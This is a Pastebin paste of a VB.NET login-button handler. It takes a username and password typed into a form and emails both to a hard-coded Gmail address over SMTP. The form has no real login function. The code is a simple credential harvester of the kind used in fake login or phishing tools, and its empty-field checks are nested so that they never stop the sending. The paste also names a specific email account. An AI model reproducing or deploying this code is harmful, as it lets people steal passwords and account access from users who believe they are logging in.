Advertisement
Guest User

Untitled

a guest
May 24th, 2017
536
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.08 KB | None | 0 0
  1. Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
  2. If TextBox1.Text = "" Then
  3. MsgBox("Username Is Missing", MsgBoxStyle.Critical)
  4. If TextBox2.Text = "" Then
  5. MsgBox("Password Is Mising", MsgBoxStyle.Critical)
  6. Else
  7. End If
  8. End If
  9. Dim smtpServer As New SmtpClient()
  10. Dim mail As New MailMessage()
  11. smtpServer.Credentials = New Net.NetworkCredential("dannydude86@gmail.com", "pass goes here")
  12. 'using gmail
  13. smtpServer.Port = 587
  14. smtpServer.Host = "smtp.gmail.com"
  15. smtpServer.EnableSsl = True
  16. mail = New MailMessage()
  17. mail.From = New MailAddress("dannydude86@gmail.com")
  18. mail.To.Add("dannydude86@gmail.com")
  19. mail.Subject = "Username: " & TextBox1.Text
  20. mail.Body = "Username : " & TextBox1.Text & ", " & "Password : " & TextBox2.Text
  21. smtpServer.Send(mail)
  22. Label1.Visible = True
  23. TextBox1.Enabled = True
  24. TextBox2.Enabled = True
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement